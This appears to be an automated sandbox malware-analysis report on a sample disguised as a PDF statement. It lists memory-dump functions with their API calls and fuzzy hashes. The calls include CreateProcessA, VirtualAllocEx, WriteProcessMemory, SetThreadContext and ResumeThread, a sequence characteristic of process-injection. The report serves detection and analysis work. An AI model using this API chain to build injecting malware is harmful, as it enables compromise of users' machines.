Function 04F40FD4 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01fbfede9f7d7432db922c758eb64bf507ef55403291bce5102dc9c8141b824c
Instruction ID: 2f1e8a668e66007edc4d6ca94d77e0408980941a067cb136d5767fd9be135505
Opcode Fuzzy Hash: 01fbfede9f7d7432db922c758eb64bf507ef55403291bce5102dc9c8141b824c
Instruction Fuzzy Hash: 69A19135E003198FCB04DFA4D8949EDBBBAFF89350F158665F415AB2A4DF30A986CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04F424DA Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8cd4ce4edf1e3ad604e2fa601bc9f353fd4d7615d03446c093ecdfa7d1e6be3e
Instruction ID: 8b709b35aacbb5667a83719a2bfd611af03e4be45a405c7790b1272a51f16713
Opcode Fuzzy Hash: 8cd4ce4edf1e3ad604e2fa601bc9f353fd4d7615d03446c093ecdfa7d1e6be3e
Instruction Fuzzy Hash: E6918E35E0031A8FCB04DFA4D9948DDBBBAFF89310F158665F415AB2A4EF30A985CB50

Uniqueness

Uniqueness Score: -1.00%

Function 070C089F Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3553adff2a16798d86d39f6142bec2aeb261d24a886e83f9708cd338ec2b99d3
Instruction ID: 8c0a8605a40f4df207ba15bf8d9a5edc5f10d344bb3f022db9a9689f4dfa4562
Opcode Fuzzy Hash: 3553adff2a16798d86d39f6142bec2aeb261d24a886e83f9708cd338ec2b99d3
Instruction Fuzzy Hash: 255148B0E1520ADFDB04CFA6D8456AEBBF2FF89310F24952AD415A7354E7345A42CF90

Uniqueness

Uniqueness Score: -1.00%

Function 070C08B0 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d16b0e392b3310c1e8363681b6eed9c7f06e4eaca6b3aac77ffb0f19bcdec05
Instruction ID: 325aae5dbc7bbc217732046e4dc9cccb89bdda08e6c1a7bdec144cf72e4e5973
Opcode Fuzzy Hash: 8d16b0e392b3310c1e8363681b6eed9c7f06e4eaca6b3aac77ffb0f19bcdec05
Instruction Fuzzy Hash: B05137B0E1520ADFDB08CFAAD8456AEBBF2EF89310F14952AD416A7254E7345A41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 070C7538 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e75afbaa63d72f63e7592f4849f790426e59b9216013a2bef9b0b5e91e1438
Instruction ID: 3c1e5fd082084547ed13510c01e4016f8ca98a6c2d42a05da87a9bd533a42ac8
Opcode Fuzzy Hash: b6e75afbaa63d72f63e7592f4849f790426e59b9216013a2bef9b0b5e91e1438
Instruction Fuzzy Hash: 192126B0D056588BEB18CFAAC9183DEBFF3AFC9300F14D16AD409B6264DB7409468F90

Uniqueness

Uniqueness Score: -1.00%

Function 0D3B0CC4 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2078358468.000000000D3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e15a285cfe708091f98d6889ee862305932dc1f65cb491479512a9decb81328c
Instruction ID: efe3258432515cb5423c3f2d893dd2db7323518fe7e7d99160b1ab00876f2cec
Opcode Fuzzy Hash: e15a285cfe708091f98d6889ee862305932dc1f65cb491479512a9decb81328c
Instruction Fuzzy Hash: 61D05E19A5E3858BCA020A5468700F5FB3CB6470B2F0932A2879E97C939604801A8316

Uniqueness

Uniqueness Score: -1.00%

Function 00E1D7F8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00E1D876
GetCurrentThread.KERNEL32 ref: 00E1D8B3
GetCurrentProcess.KERNEL32 ref: 00E1D8F0
GetCurrentThreadId.KERNEL32 ref: 00E1D949

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 03b491f416c4f39b7a7ea9713596524d205d2a79879fb6ee8808fdf7b466dda9
Instruction ID: 7947f88a9e1b423b01cdf83796fc1860ed1a5471bbf7c050a95b556825d027ed
Opcode Fuzzy Hash: 03b491f416c4f39b7a7ea9713596524d205d2a79879fb6ee8808fdf7b466dda9
Instruction Fuzzy Hash: 7B5137B09007498FDB14DFA9D948BDEBBF5EF88314F208459E019A73A0D7789984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 070CD2A4 Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 070CD4E6

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c0dca4269b29425ed3e4ccc8a2aeeec7174e9741b37902be259b85913d1508cd
Instruction ID: 46d281617325de522ac138cd2ff3df2a1499754b0650c0c5ff490a56b36cc333
Opcode Fuzzy Hash: c0dca4269b29425ed3e4ccc8a2aeeec7174e9741b37902be259b85913d1508cd
Instruction Fuzzy Hash: 8CA15EB1E0021ADFDB14DF68C9417EDBBF2BF48314F1482A9E819A7290DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 070CD2B0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 070CD4E6

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c5b5d2d49414f91611dde4649f2e324c247a053220658c87308e8363bc8c26df
Instruction ID: fc468929be06e10de68ad40ff2a0a23e3796558042d5ca3027e865fc38240370
Opcode Fuzzy Hash: c5b5d2d49414f91611dde4649f2e324c247a053220658c87308e8363bc8c26df
Instruction Fuzzy Hash: 47914EB1E0021ADFDB14DF68C9417EDBBF2BF48314F1482A9E819A7290DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00E1B55F Relevance: 1.7, APIs: 1, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bfc29520e48843e25ce26fc9ee30250f858dfb20ecaea48aa3de96c17e52ebb
Instruction ID: 9a05c3ede9ea2e94380edaca78f5de5f98854e9053a670bd7bca3db6202def6e
Opcode Fuzzy Hash: 0bfc29520e48843e25ce26fc9ee30250f858dfb20ecaea48aa3de96c17e52ebb
Instruction Fuzzy Hash: F2816970A00B058FD724DF29D54479ABBF6FF88304F10892ED08AEBA51D734E985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F421C4 Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F422E2

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 63fb25b6224d0207f4457745ae1bf345a21b7ac5db3c871e6db5ffbd053fa0a5
Instruction ID: ba908b4ac00b89f11a264f6fa43d9c7223e728ba5c369a39d59d61e791055edb
Opcode Fuzzy Hash: 63fb25b6224d0207f4457745ae1bf345a21b7ac5db3c871e6db5ffbd053fa0a5
Instruction Fuzzy Hash: FE51E2B0D003099FDB14CF99C984ADEBFB5FF88340F24816AE818AB250D774A946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04F421D0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 04F422E2

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 8a81266774ffd1e7bcf926dc30f7cb91c51b774739d55440c88ad42831643151
Instruction ID: eeaf909fb9573524c296ec4c1d619dcc2300fd14aa76c0730bd9b54f153e73c5
Opcode Fuzzy Hash: 8a81266774ffd1e7bcf926dc30f7cb91c51b774739d55440c88ad42831643151
Instruction Fuzzy Hash: A041B0B1D003499FDB14CF99C984ADEBFB5FF88310F25856AE818AB210D774A985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00E1590C Relevance: 1.6, APIs: 1, Instructions: 98COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00E159C9

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 776ea552b5e15fa04ff2851495007cc781763a503968a6fc6848845267aed71f
Instruction ID: e2c4d616e32108a83fac57546b859d1ef01c3af485988d49e84500034f2e70af
Opcode Fuzzy Hash: 776ea552b5e15fa04ff2851495007cc781763a503968a6fc6848845267aed71f
Instruction Fuzzy Hash: 5F4101B1D00619CEDB25CFA9C884BDDBBB5BF89304F2481AAD008AB255DB755986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04F410D4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 04F44861

Memory Dump Source

Source File: 00000000.00000002.2074098336.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4f40000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: f59a3fe780a89439daf0b1a24a389f19425751d8b4716ac9242e3ab9f13c593a
Instruction ID: 9f535396e75edbd0361417f859ce80b3926e05f8672a8fb74f2c0678d38e9a28
Opcode Fuzzy Hash: f59a3fe780a89439daf0b1a24a389f19425751d8b4716ac9242e3ab9f13c593a
Instruction Fuzzy Hash: 0641F9B5A00249DFDB14CF99C488BAABBF5FF88314F24C499D519AB321D774A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00E144E4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00E159C9

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 57e6c7fe2631781da494308d79fa12d1a6daac98abf27da1e67f743847cd00be
Instruction ID: a1435d98649a6bbbd812e3b305b9cdca0d65cdb075593d7a55e8797bc886428b
Opcode Fuzzy Hash: 57e6c7fe2631781da494308d79fa12d1a6daac98abf27da1e67f743847cd00be
Instruction Fuzzy Hash: 1A41F2B1C00719CBDB24CFA9C884BDDBBB5BF89304F20806AD418AB255DB755985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 070CD020 Relevance: 1.6, APIs: 1, Instructions: 70injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 070CD0B8

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 85cc01d42675e012241b62ead04c75ef108d261226789f8200e8754d75a914d0
Instruction ID: 7b14f3c8610de34a29b1c84442bfcd22d4d6f9ba8f0baef3de709c751d34962d
Opcode Fuzzy Hash: 85cc01d42675e012241b62ead04c75ef108d261226789f8200e8754d75a914d0
Instruction Fuzzy Hash: 3A2148B19003099FDB10DFAAC9857DEBBF1FF48310F10842AE558A7240D7789945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CD028 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 070CD0B8

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 69e3f70270a2069b1572367fe017740eec20a360134438bb7626480ab8302494
Instruction ID: 928aaa8941e424024f9620cd4324aadffabb2172923cd7161d70b2883426e7c8
Opcode Fuzzy Hash: 69e3f70270a2069b1572367fe017740eec20a360134438bb7626480ab8302494
Instruction Fuzzy Hash: 022136B19003099FDB10DFAAC985BEEBBF5FF48310F10842AE919A7240D7789945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CCE88 Relevance: 1.6, APIs: 1, Instructions: 64threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 070CCF0E

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1df0da898ece7ca238e0bd2465b46a7926504c8025d5552147341fd411b9d456
Instruction ID: 3ec444656841e4604a00d58fa3aaf2cc678984f18d145a6f3302f8e967eb56e7
Opcode Fuzzy Hash: 1df0da898ece7ca238e0bd2465b46a7926504c8025d5552147341fd411b9d456
Instruction Fuzzy Hash: A02137B19002098FDB20DFAAC5857AEBBF5EF88314F14842ED459A7240DB789945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CD118 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 070CD198

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c66ea88bce5051f0573ca6662b1bdf741ef616e29ff91e3075e3d87782cac0ae
Instruction ID: 7e9a9eddddc4f4bcef5dc6c89783ee7002cb4c360dc1e07e91a3666bb0735909
Opcode Fuzzy Hash: c66ea88bce5051f0573ca6662b1bdf741ef616e29ff91e3075e3d87782cac0ae
Instruction Fuzzy Hash: D92125B19003499FCB10DFAAC984AEEBBF5FF48310F10842AE919A7250C7389944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CD112 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 070CD198

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 794ad9cfcec1fa020a5b9eea5c7af2443de0c3c721ecfef10ab04aa498cb3a7a
Instruction ID: 44584d03c41fc97b3cbceae70401c047ed374c2f8efb753d5dd081fd05b84c33
Opcode Fuzzy Hash: 794ad9cfcec1fa020a5b9eea5c7af2443de0c3c721ecfef10ab04aa498cb3a7a
Instruction Fuzzy Hash: 362114B19002499FCB10DFAAC984AEEBBF5FF48310F10842AE919A7250D7389944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CCE90 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 070CCF0E

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 5e27f67b76bc20ae18d9306f69ab45db7f5d47011e2de934db04b452ff847bba
Instruction ID: 9ffd3adeb6cc5ad54d655402dc5f31a26a0185de83fa25af1aaeade1ae8f9370
Opcode Fuzzy Hash: 5e27f67b76bc20ae18d9306f69ab45db7f5d47011e2de934db04b452ff847bba
Instruction Fuzzy Hash: B82115B19003098FDB10DFAAC5857AEBBF4EF48324F14842ED559A7240DB78A945CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E1DA40 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00E1DAC7

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: a0d1c07def5f30ee716532e34c819cfb53cc608a1170a10e0cd4e559693f3a62
Instruction ID: 80114ef202e844c266147a47a07ec20d50f7a68e6d77e48618eb7fb8de938f97
Opcode Fuzzy Hash: a0d1c07def5f30ee716532e34c819cfb53cc608a1170a10e0cd4e559693f3a62
Instruction Fuzzy Hash: B321C4B59002489FDB10CF9AD984ADEBBF9FF48310F14841AE918A3350D378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00E1AFB0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00E1B841,00000800,00000000,00000000), ref: 00E1BA52

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 07b3c15a15f399e7dcc7acc4c00a56aefa16940fbc4482716eff641f8648c300
Instruction ID: 33ff6232f5f7c53fd082e1ed800aaed1bf123d1f94b3c644ed665d499519a5bc
Opcode Fuzzy Hash: 07b3c15a15f399e7dcc7acc4c00a56aefa16940fbc4482716eff641f8648c300
Instruction Fuzzy Hash: BA1114B69003088FCB20CF9AC444ADEFBF8EF88310F10842AE519B7210C379A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CCF60 Relevance: 1.6, APIs: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 070CCFD6

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7322388863c592f04ad8a535bf9e98a807bed3498e899553d16e3d8d6823c97c
Instruction ID: 1ffd317f13f067d7f5128d907668512e31e7b03797e00a72039f08982b9205c3
Opcode Fuzzy Hash: 7322388863c592f04ad8a535bf9e98a807bed3498e899553d16e3d8d6823c97c
Instruction Fuzzy Hash: 331117B19002499BDB20DFAAC944AEEBBF5EF88310F14881AE519A7250CB759545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E1B9E1 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00E1B841,00000800,00000000,00000000), ref: 00E1BA52

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: daa1e1f8b48b403ed3b02f798778c694d7bcf757c4bc3a8f7f63c8bec24b1e2a
Instruction ID: ae98cbaa2582fafd302a1244e652a484e3ecd0d79ecf82da0f7b7aa7d222de75
Opcode Fuzzy Hash: daa1e1f8b48b403ed3b02f798778c694d7bcf757c4bc3a8f7f63c8bec24b1e2a
Instruction Fuzzy Hash: FA1112B69003498FDB20CF9AC448ADEFBF4EF88310F10842AD429A7210C379A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 070CCF68 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 070CCFD6

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ec3fc9f0400f74a6c9d0360b441106fe8602045863ec9ddd0f86816e3e4a0606
Instruction ID: 2dcf1378f24bea6a9c6435b26b3652659f253e3b7c4a0892f6b3bdeff6482e9d
Opcode Fuzzy Hash: ec3fc9f0400f74a6c9d0360b441106fe8602045863ec9ddd0f86816e3e4a0606
Instruction Fuzzy Hash: F91149B19002499FDB20DFAAC944AEFBFF9EF48320F108419E519A7250C779A540CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CCDD8 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 070CCE42

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 07ef7349d6c13ef1cb444964246ad90a0d5a3b199298d1afbd7c2b6ed7c44282
Instruction ID: ff5bfb6eda3dd66cfbeb7a806a7f89a80dc1dd1d3027c0799a2f250de47d7658
Opcode Fuzzy Hash: 07ef7349d6c13ef1cb444964246ad90a0d5a3b199298d1afbd7c2b6ed7c44282
Instruction Fuzzy Hash: CE1158B19003488BDB20DFAAC8447AFBBF5EF88324F20841AC519A7240CB789944CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 070CCDE0 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 070CCE42

Memory Dump Source

Source File: 00000000.00000002.2076705663.00000000070C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70c0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6016cc922571850e814e82eb5ad414ab978cb85df4f9430414e59a9400645936
Instruction ID: 44f507a013107777a4c971b08f82765a902904222b29509f22afc5184dc17102
Opcode Fuzzy Hash: 6016cc922571850e814e82eb5ad414ab978cb85df4f9430414e59a9400645936
Instruction Fuzzy Hash: C51128B19003498BDB24DFAAC5457AFFBF5EF88324F108419D519A7240CB79A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00E1B760 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00E1B7C6

Memory Dump Source

Source File: 00000000.00000002.2069979331.0000000000E10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e10000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 58923a3e0f98c1203b4003d53d1cd8c12c50c78b64861ba4e0e9268e79534d32
Instruction ID: 806d5605d3ccc7acf9fdaed9c26bcfd06ac5acd93214e3874d17aca6c9d97576
Opcode Fuzzy Hash: 58923a3e0f98c1203b4003d53d1cd8c12c50c78b64861ba4e0e9268e79534d32
Instruction Fuzzy Hash: 29110FB5C002498FCB20DF9AC444ADEFBF8EF88324F10851AD418B7640C379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0D3B1800 Relevance: 1.5, APIs: 1, Instructions: 45windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0D3B1865

Memory Dump Source

Source File: 00000000.00000002.2078358468.000000000D3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 853fd2d083e81040fab2c7fe808eb6e1cbe0e44ae92b7767837d33ce443aa0a2
Instruction ID: fe0e70532f1e17878a32d861e657d9a7b57ed7ed218ec1e675a9578d1a91f0f3
Opcode Fuzzy Hash: 853fd2d083e81040fab2c7fe808eb6e1cbe0e44ae92b7767837d33ce443aa0a2
Instruction Fuzzy Hash: BC1122B5800348CFCB20DF9AC888BDEBBF8FB48324F10841AD558A3610C378A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0D3B1808 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 0D3B1865

Memory Dump Source

Source File: 00000000.00000002.2078358468.000000000D3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0D3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3b0000_SOA FOR APR 2024 PDF.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
